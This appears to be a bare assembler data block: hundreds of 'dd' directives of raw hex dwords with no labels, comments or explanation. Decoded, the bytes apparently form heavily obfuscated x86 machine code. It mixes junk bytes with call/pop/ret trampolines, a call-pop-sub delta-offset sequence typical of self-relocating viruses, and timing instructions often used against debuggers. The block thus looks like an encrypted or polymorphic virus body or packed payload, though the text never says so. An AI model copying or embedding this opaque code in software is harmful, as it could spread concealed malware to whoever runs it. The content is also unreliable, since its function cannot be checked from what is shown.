dd 8501FE8Bh, 6031B25h, 52CE9h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 6DBAD566h
dd 0F6B70F4Eh, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0F3016BC3h, 17A159B7h, 70E62D82h
dd 0B60F71E4h, 0EE9D8h, 0A43B0000h, 0DF733714h, 806051E9h
dd 0A50460F5h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0F599EBCh, 689h, 0C1953100h
dd 6606031Fh, 0C38BF98Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0B6C35646h, 9AEF649Dh, 134AB4Ch, 31EED85h
dd 1BD3106h, 6606030Dh, 0E8C1F38Bh, 0AE904h, 97A20000h
dd 0E62CBBDAh, 0D23B0F65h, 6AE2F766h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89BAC352h
dd 3197585h, 7E95706h, 7A000000h, 0E039009Dh, 2B5F61EBh
dd 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 82E4B04Eh, 1F9CFF2Ch, 38A0F12h, 0F000000h
dd 0F50F9B7h, 283h, 89FE8B00h, 6A241Ch, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 5C1C8FC3h
dd 0CF4B4863h, 0FD89017h, 0C8Ch, 68E0F00h, 89000000h, 33129B5h
dd 79B5FF06h, 6A060328h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0F424C356h, 18B9092Ch
dd 66F0771Ch, 8531F78Bh, 6030F0Dh, 1FB995FFh, 6A0603h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 58A746C3h, 7E94165h, 0EC000000h, 91DE411h, 0FA8B0608h
dd 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 0EBFFD1C3h, 70E6D3A6h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 82C35646h, 0B4624834h, 5D1E76BBh
dd 7E9h, 0CF866300h, 74E46218h, 0F860Fh, 0E9560000h, 8
dd 0F577075Dh, 0E0ECC34Dh, 99BE665Fh, 6A71E4CAh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 205C355h, 777BEAF5h, 3C08DC89h, 0AA830F61h, 6A000002h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 358BC352h, 0FF88BCFh, 6AD8B6h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 742016C3h
dd 51086A49h, 6BAh, 0BE66F800h, 0C38BF1FCh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h, 0E8C10B39h
dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 782518E8h, 0F7661E1Fh, 56006AE2h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0BC5773CFh, 0DF81D82Bh, 14D3747h, 0A719C781h, 0E858125Ch
dd 9, 0E14A8DAAh, 0FB3F67CBh, 0F08B6678h, 0FD82B5Eh, 1CC88h
dd 10E800h, 44950000h, 0BA09DFD3h, 94AF4DA9h, 2DF557E2h
dd 0B95F9EF6h, 7, 0BE9h, 0BCDC200h, 0B4234F35h, 7DFCF83Ah
dd 71958957h, 5E06031Ch, 6A00C183h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F68EC355h
dd 0E5A2BE66h, 860FD93Bh, 16Dh, 5E8h, 50A47700h, 0AE8D947h
dd 80000000h, 82C1BE20h, 6F9B6727h, 0FBB70FFAh, 8C665F5Fh
dd 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0F88BEC31h, 0F04C1F6h, 10584h, 0A91EBE00h
dd 95FF6046h, 60311A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0BCC35646h, 86238199h, 57D9838Fh, 6A5B92h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 8B0F54C3h, 18h, 12E8h, 0E3B0A300h, 0B8172772h, 46BE1FD8h
dd 4C0FA015h, 5FE3278Eh, 14E9h, 0B35FDB00h, 0ECBB9ADCh
dd 0A5FF4B98h, 0CC630027h, 7EE667CCh, 6AC32B50h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 30A4C356h, 28D0Fh, 0F38B0000h, 8343Dh, 4F860F00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0E024C351h, 0F8B70F2Ch, 29F9B58Bh, 42E90603h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 2004C351h, 85835B12h, 0C08BDD16h
dd 12E8h, 6A9C500h, 90C27BF7h, 0F5481D1Dh, 0FE26DA98h
dd 66542166h, 9E41EE81h, 8BC38B5Eh, 51006AD8h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 579AB96Bh
dd 10E8h, 5ED31500h, 0C7544B8Fh, 10CD591Bh, 1BABB1AFh
dd 0F59D893Dh, 5E060312h, 0BD85C75Fh, 5D060305h, 891A142Bh
dd 30105B5h, 1C08B06h, 313E595h, 79BD8106h, 0D0060328h
dd 0F000007h, 6085h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 7985FF49h, 6A060328h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 0B8AFC352h, 4237DD80h, 6810Fh, 0D7810000h
dd 4DD9472Ch, 3840Fh, 0B70F0000h, 0B58B53F6h, 603117Dh
dd 79B5FF5Fh, 66060328h, 0FF48CDBEh, 31FB995h, 6A9006h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0B8F0C1C3h, 0CDB37E9Bh, 30619D89h, 890F0603h, 5, 158FD9BFh
dd 0E19D296Eh, 0F06032Ch, 383h, 0F88B6600h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F9C35040h, 53812969h
dd 57846075h, 8E917h, 9FDA0000h, 0DD82E791h, 0B58B3831h
dd 60322E9h, 20059589h, 6A0603h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 0D28372C3h, 89362662h
dd 32EB595h, 698BBF06h, 6A3E21h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 0E913FCC3h, 0F03C6F4Dh
dd 75958B60h, 0F06030Bh
dd 88Bh, 8983B300h, 30491BDh, 61F28B06h, 0AE9h, 0BF5E0300h
dd 72997FA6h, 6AC36ED5h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0CFFC350h, 9B83B1F7h
dd 8B8AAA5Bh, 331C5B5h, 0F6C9E906h, 0BD8BFFFFh, 6032041h
dd 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0CA93B9C3h, 36C690C5h, 4EBh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 21B6CFC3h, 2811858Dh, 11E80603h, 35000000h, 0DD598B1Ah
dd 5358A516h, 0DFC278C2h, 0FCC8E56Eh, 489505Fh, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 71941453h, 830F60B9h, 19h, 14E9h, 0D8901700h, 7E10F687h
dd 0C6F1D5Ah, 0D5E003C7h, 61D75094h, 0FFDB81FCh, 612793B1h
dd 0AE9006Ah, 65000000h, 35EC063Ch, 534A5FAh, 6A006A80h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 9615C351h, 0B658C2F3h, 507346F4h, 30B58529h
dd 8D5E0603h, 70E3E85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 0B1B58923h, 83060305h
dd 8B5005C0h, 240489F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 28C35646h, 441502E5h, 0C15BD8Bh, 6A0603h
dd 1A55BD8Bh, 8B560603h, 6A5FF1h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 0C9C35545h, 727453CAh, 8D8B60A2h
dd 60328A9h, 0FDC9BB66h, 0C995FF61h, 8D06030Ch, 697479Dh
dd 0F38B6606h, 85FFD3FFh, 6032A15h, 1D7DBD29h, 0E90603h
dd 0E8000008h, 0
dd 48ED815Dh, 8906070Eh, 3269D95h, 79BD8106h, 0D0060328h
dd 0F000007h, 15286h, 81666000h, 0F35B3EFh, 68Eh, 51B58B00h
dd 61060321h, 31599D8Bh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 0BDCA5BC3h, 0F80CD2DDh
dd 6870F4Eh, 23000000h, 3250DB5h, 0E38106h, 89000001h
dd 321E995h, 0FDB0B06h, 0B285h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1AD5467Eh
dd 8BCBC42Bh, 32941B5h, 0C6BD8306h, 6070Ch, 67840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 7A5E04C3h, 6259A6C1h, 8B7DE0DBh, 33271B5h, 5BD8B06h
dd 0E9060304h, 57h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 4BC35545h, 0B4972C7Ah, 0F2E02A5Eh, 89BD2325h
dd 0B060306h, 32E61B5h, 0C685C706h, 106070Ch, 0F9000000h
dd 16E9h, 0CD950900h, 0C7060326h, 70CC685h, 6, 51858900h
dd 8D06032Ch, 331599Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 141319C0h, 23E1BD8Bh
dd 23810603h, 0FFFFFEFFh, 66F2B70Fh, 0B58BDB8Ch, 60317A1h
dd 321D8501h, 0C3F60603h, 3A840F04h, 8B000000h, 0A595FFF0h
dd 8B060311h, 31F39BDh, 4895006h, 56006A24h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 6E7BE347h
dd 0DF2FF589h, 37BE6675h, 414E99Ah, 9E80000h, 0A7000000h
dd 73D957A6h, 0D90D2B9h, 8E9h, 0F1680D00h, 5F0ED217h, 0DF815F4Ch
dd 56875CB3h, 0B53300B0h, 60301CDh, 0B58970E6h, 6032BEDh
dd 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 30AFE9C3h, 4EE59C6Dh, 0F2EDC87h, 6AD8B6h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 2E4639C3h, 8D291F56h, 6031ABDh, 0C4BE6652h, 6BA5EEDh
dd 8B000000h, 0F8C38BF8h, 6A04E8C1h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F363C353h
dd 6E93A79h, 9C000000h, 0CA94F719h, 0F3B70FB0h, 6AE2F766h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 2C7BC351h, 69039EA6h, 8960D82Bh, 3283DB5h
dd 0FFB70F06h, 59B50961h, 5006031Fh, 6A241C89h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 0E5F8C353h, 5840Fh, 0AFBF0000h, 8930BCB5h, 30FF9B5h
dd 79B5FF06h, 6A060328h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 818EC353h, 962877EEh
dd 0B995FF63h, 6A06031Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0EC9C352h, 0E1BCF584h
dd 0B58BDC85h, 6030415h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0CE46D9C3h, 2850Fh, 0F98B0000h
dd 3B7BEE81h, 0F08B4A06h, 810F70E6h, 3, 0E4F8BF0Fh, 95B58B71h
dd 3C06030Ah, 47830F61h, 0F8000002h, 0BFD8B60Fh, 273CDD15h
dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 0D41F8E14h, 4339C7BFh, 69B5890Ah
dd 8B060303h, 0E4F781C3h, 0C13E0835h, 6A04E8h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 748509C3h, 2119B501h, 0F7660603h, 50006AE2h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 601CE263h
dd 8BDABF0Fh, 308DD95h, 0D82B6106h, 6870Fh, 95290000h
dd 6030201h, 85B52B58h, 2B060329h, 97880FD8h, 6A000001h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0ED6DC351h, 1A1648A8h, 0BD8BE22Eh, 60312F5h
dd 7B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 603E6714h, 8BC88B66h, 311E18Dh, 0C1836106h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0BF729561h, 400EF949h, 9EA6C781h, 0D93B3A5Bh
dd 10C860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 31ED8CC3h, 743E4A28h, 5880F3Fh
dd 66000000h, 678EDE81h, 8393F781h, 8C6619D2h, 51006AD9h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 2272F442h, 9378A99Fh, 0F6F88B9Bh, 840F04C1h, 92h, 11A595FFh
dd 0B58B0603h, 60303ADh, 39BD895Bh, 2B06031Bh, 0DE8C3h
dd 32150000h, 0BB2B6FF2h, 2194847Fh, 2B31233Ah, 31FC1B5h
dd 0BE95F06h, 9C000000h, 0E08D3844h, 4E8720FFh, 343DB611h
dd 0F000008h, 4986h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 0D2A678E6h, 378EDC67h
dd 35E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 123CAB9h, 0C08BFE8Bh, 1299D31h, 860F0603h
dd 6, 31FD9D89h, 0C38B0603h, 6AD88Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0CF97AC3h
dd 0A315FA9h, 5E8h, 0B6E4D400h, 0BD8BB318h, 6031351h, 85C7F95Fh
dd 603214Dh, 7BA2E9D9h, 208D9529h, 95890603h, 6031E51h
dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 207513C3h, 32318589h, 0BD810603h, 6032879h
dd 7D0h, 2E850Fh, 85FF0000h, 6032879h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 32C35242h, 3C5E6EB6h, 0FE52BD51h
dd 0F7BF0FFAh, 2879B5FFh, 0B58B0603h, 60310FDh, 1FB995FFh
dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0B78827C3h, 9A11354h, 32A8585h, 0F78B9006h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 42C35646h
dd 0FA9815CEh, 6A6A242Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 4707C357h, 0CE8h, 70412F00h
dd 21A1FBF6h, 9A9762BDh, 4D8D8924h, 5E060306h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5BC35747h, 0B98F1C90h
dd 29682F6h, 0FE928h, 0C6C10000h, 44FD2015h, 6CAE8FFBh
dd 1E8DB653h, 8D29F9EAh, 6030C29h, 50006AF5h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 0F8678C6h
dd 680h, 0ACF8100h, 89456AEAh, 311058Dh, 73BE5706h, 5F284AAAh
dd 13ED9D89h, 820F0603h, 0Bh, 10FD8D89h, 0F5BF0603h, 0E962FE33h
dd 10h, 7DA5BDA2h, 94D0B25h, 0DF60D6D8h, 18D6403Ch, 9860Fh
dd 0D6810000h, 6209DC6Eh, 0E9F0BF0Fh, 0FFFFF823h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A8C35242h, 84F943Ah
dd 608A871Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0D1C35141h, 67E84A7Ah
dd 0E8836AB2h, 7, 8C610727h, 57775DC3h, 2EC1858Bh, 5E5E0603h
dd 0FFFFFEB9h, 0FE9FFh, 0EDE20000h, 0A2A05237h, 0B2E4A0C4h
dd 0F88D40D9h, 0DE9E9h, 869D0000h, 1ACC71D1h, 758F289Ch
dd 21724A84h, 331598Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 8D21AAEBh, 6031BC9h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B7C35646h, 808BD9BFh
dd 8D8BF1CEh, 6033159h, 83F18B66h, 850F01E1h, 5, 0E709FBBAh
dd 0C98D8B33h, 6A06031Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 3ADEC352h, 3F68DB6Ah
dd 294A6432h, 331CD85h, 1E18306h, 7850Fh, 0B5890000h, 6030FD9h
dd 0F6061F8h, 68Dh, 0C5DB8100h, 0B918A3ABh, 0FFFFFFFEh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 59C35343h
dd 81669572h, 2149E7EEh, 3293D8Dh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0C321751h
dd 0BF5AD058h, 0CD8D21C2h, 0F5060325h, 8D8BC0B7h, 603293Dh
dd 0F01E183h, 2A85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0F1CD2045h, 0A03EDEC2h
dd 0C5858B1Eh, 8B060328h, 325CD8Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 7F6036EDh
dd 85897093h, 6030B85h, 0F01E183h, 1585h, 10E900h, 49250000h
dd 21397359h, 6A9529A5h, 0AD29B4Ch, 6061EE58h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 1FC35545h, 0A2AE6D1Ah
dd 9CC33D52h, 0F499D8Bh, 0FEB90603h, 6AFFFFFFh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8B18C355h, 329E9B5h, 0F18D2106h, 6A060312h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 9E14C352h, 29176EA1h, 0DD507A17h, 2F11BD89h, 0B5890603h
dd 603118Dh, 5BD8D21h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0DB2344C3h, 667F5403h
dd 8B66D38Bh, 0F18D8BF1h, 0B2060312h, 1E183EFh, 1A850Fh
dd 0EE80000h, 88000000h, 9A632649h, 37B4DE58h, 4CBBBA13h
dd 0FFC0819Ah, 5B11D6EDh, 5BD8D8Bh, 0B8660603h, 0CB815A9Bh
dd 2B3E5DBEh, 0F01E183h, 4A85h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0AA8D8AF0h
dd 0E4CD65CCh, 11E8CBC9h, 5000000h, 0A89B5208h, 7BE7F0D6h
dd 0B21FFC52h, 0D159C7B2h, 9E9h, 27E2C400h, 0C38C6107h
dd 615A775Dh, 0C3816660h, 0FEB952FEh, 0E9FFFFFFh, 11h
dd 0CA44C63Eh, 0FE6426C0h, 0B217D114h, 0D092D63Ah, 0AD8D2154h
dd 6A060313h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0C00AC353h, 4D8D2166h, 6A060321h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0D428C357h, 0FB5F931Ch, 0E61C5958h, 8BC18B66h
dd 313AD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 0B5BD8BDFh, 8906031Fh, 3031D9Dh
dd 1E18306h, 9850Fh, 0E3810000h, 25A2B984h, 8BC28B66h
dd 3214D8Dh, 0D5B58906h, 89060309h, 3046D9Dh, 1E18306h
dd 6850Fh, 85890000h, 6033199h, 6A6061h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0B5ACFFC3h
dd 68D0Fh, 0BD090000h, 6032849h, 287985C7h, 7D00603h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0A588C5C3h, 95900A9Ah, 10E9771Bh, 8C000000h, 0FC145B0Dh
dd 0EC383D79h, 0A77A6C07h, 619B1C5Ch, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 4BC35040h, 579E7E6Ch, 0CED9589h
dd 0F590603h, 688h, 79958B00h, 0EB060317h, 0E99D6107h
dd 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F1C35747h
dd 14AEA7ACh, 3DBD8B41h, 6A060317h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 178FC350h
dd 1291F050h, 31DFBF22h, 0C18B5ED8h, 75E9h, 8C666000h
dd 0F04A8D8h, 3584h, 0FF016A00h, 31359B5h, 0BC858D06h
dd 0FF060673h, 3D8589D0h, 8B060309h, 0CEFC1FEh, 4000068h
dd 6A006A20h, 0D685702h, 0FF000100h, 3093D95h, 32E906h
dd 85C60000h, 6032F39h, 30DF6856h, 0B5FFA9C5h, 60328C9h
dd 73BC858Dh, 0D0FF0606h, 2C918589h, 858D0603h, 6032371h
dd 6A206A50h, 95FF5605h, 6032C91h, 0E0C1C361h, 104BEB06h
dd 3C2F0E09h, 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h
dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh
dd 70700A6h, 0EA1A0046h, 0D5A3h, 199C0000h, 0FEC8h, 0FBFE48h
dd 41280000h, 7DD427E6h, 0EDE9C372h, 6A00000Dh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0C4E0C356h, 891BFC6Eh, 313018Dh, 91BD8306h, 6031Eh
dd 22850Fh, 95230000h, 6032F3Dh, 0B8h, 4C200h, 45852960h
dd 0F060322h, 689h, 35858900h, 6106031Ah, 6AC08Bh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 4236FFC3h, 9D0BBB6Fh, 6032F25h, 1039BD83h, 75000603h
dd 1DBD8309h, 60311h, 53501374h, 0D0B8C08Bh, 8D000004h
dd 5AE659Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501174h, 4D0B8h
dd 0B29D8D00h, 0FF0605ADh, 81585BD3h, 0C2B00FEAh, 0BE90Eh
dd 640A0000h, 0A2FAE0A2h, 7D1A4A6h, 8BC08B7Bh, 31A698Dh
dd 0E858D06h, 8B06071Ch, 3144195h, 0CD8D0906h, 90060328h
dd 17800Fh, 0FE80000h, 4D000000h, 0FD888B2h, 0C9B8DE74h
dd 7B578847h, 61603562h, 0CA8B505Fh, 199D8990h, 66060300h
dd 4A34EA81h, 1BCB858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 0C95FB1C3h, 0BE8ECh
dd 6EEA0000h, 0FEF9EC0Ah, 457C6157h, 1C0EBF60h, 905B26BCh
dd 0D99AB966h, 5E95650h, 0F6000000h, 24752FEBh, 6BBB905Bh
dd 0FF5DC207h, 3039195h, 0B3C18006h, 424448Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 87C35747h, 0F9DA0D25h
dd 119D09ACh, 89060326h, 71BF685h, 8BDE8A06h, 6A082444h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 7703C351h, 0B8519181h, 0B1B589C2h, 89060328h
dd 71C0A85h, 0EE906h, 0B7770000h, 0F1932ECDh, 604F5CA8h
dd 0E7A2D59Eh, 2061BD83h, 0F000603h, 0D485h, 81666000h
dd 89DD3CC6h, 30AC595h, 85C66106h, 6032F39h, 89B96047h
dd 610D08ECh, 3E86D768h, 14E88Bh, 99050000h, 511DFC18h
dd 74DF284Ch, 0E77AAC6Eh, 0FF6967E5h, 8A51AE33h, 815959CEh
dd 20FB2404h, 0F60495Ch, 8E0FF3B7h, 3, 61FAB70Fh, 28C9B5FFh
dd 14E90603h, 0DC000000h, 0A1198EA6h, 0F8EEAA57h, 70374B50h
dd 0DAC72D6Ch, 8D3106CBh, 673BC85h, 6DB52906h, 0FF060323h
dd 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 849313DEh, 0BA5353B5h, 3516E642h, 6185895Bh
dd 6A060320h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0D9D2C351h, 8B301120h, 3016D8Dh
dd 75BD8306h, 60329h, 0E4850Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 4F0063C3h
dd 0BE0E18BFh, 3985C60Eh, 4706032Fh, 4E8h, 0FB5E200h, 0AE98Ah
dd 82B30000h, 34CBA0B1h, 0D912BE53h, 1DF7BA50h, 448B7EDBh
dd 52500424h, 14E8h, 64D85700h, 40FD0478h, 4B5F6341h, 7226A604h
dd 8839180Ch, 8F0F69h, 5A000000h, 0FEBF310Fh, 5A0104BEh
dd 66008B58h, 89173FBFh, 60042444h, 0CA8B5250h, 0BA66310Fh
dd 585A8ED6h, 0F5B5360h, 88h, 58616100h, 9D23DC8Ah, 6030ACDh
dd 28C9B5FFh, 0CA8B0603h, 73BC858Dh, 0BD230606h, 6031145h
dd 0CB8BD0FFh, 29758589h, 6A0603h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 896058C3h, 32CF9BDh
dd 0BD836106h, 6032E19h, 3850F00h, 6A000001h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 11C352h, 0B1A8132Dh, 6E82Eh, 5A7F0000h, 0E3E1F264h
dd 8270BA66h, 3985C65Fh, 5606032Fh, 3AD8D8Bh, 8B0F0603h
dd 6, 0AA9958Bh, 4E80603h, 39000000h, 0E8D41F6Dh, 0Fh
dd 0A23F58B1h, 5A10D239h, 0B6282D7Fh, 0BA1B2304h, 2EA35646h
dd 36B2505Fh, 424448Bh, 8BFB8Bh, 7E8h, 58FEC000h, 0A4DF1882h
dd 59616052h, 2444895Fh, 4DADBA04h, 8B586983h, 301E5BDh
dd 0C9B5FF06h, 0E9060328h, 14h, 2FBC9BC6h, 0C4FA4AFCh
dd 0FF88FFB8h, 3F127CD8h, 2F5A203Ch, 73BC858Dh, 5E90606h
dd 0E2000000h, 5FF62C2Bh, 0CE9h, 0F9BB9D00h, 0B4EC5763h
dd 668F43DDh, 6AD0FFA0h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 66DAC352h, 89219CB9h
dd 32E1985h, 85C6F506h, 6032F39h, 498D8B6Ch, 8106031Eh
dd 0FEDAD5E7h, 985D6814h, 0C4B2CC3Ch, 26240481h, 660EC8D8h
dd 32D7E281h, 14E9h, 3446AF00h, 6AB16Ch, 834E294Ch, 50A51E0Eh
dd 44D2059Eh, 59B5FF26h, 6A060313h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 67C4C356h
dd 10DBD8Bh, 858D0603h, 60338A7h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 45C35545h, 0D0FF1A84h, 0FA8589F9h
dd 0B06071Bh, 329719Dh, 0E9046A06h, 14h, 71BDD6AFh, 0F688E060h
dd 8A90FC3h, 7EC1E2A6h, 49B76399h, 1F01BD89h, 9D680603h
dd 66EF085Fh, 81C42ABAh, 0B0632404h, 4E810F7h, 0
dd 0E9000100h, 7, 0DD11F76Ch, 5020A7DEh, 8E9h, 0BBC30200h
dd 0B0363D97h, 24448B7Ch, 5E904h, 0E5090000h, 8BEF4D69h
dd 0FC8A5600h, 2444895Fh, 7890F04h, 51000000h, 966FA7BFh
dd 6A585F58h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 0B85CC357h, 0CE4F2AA7h, 0D0B0BF66h
dd 0AE8006Ah, 0FD000000h, 8293B167h, 0FB675D1h, 85E98102h
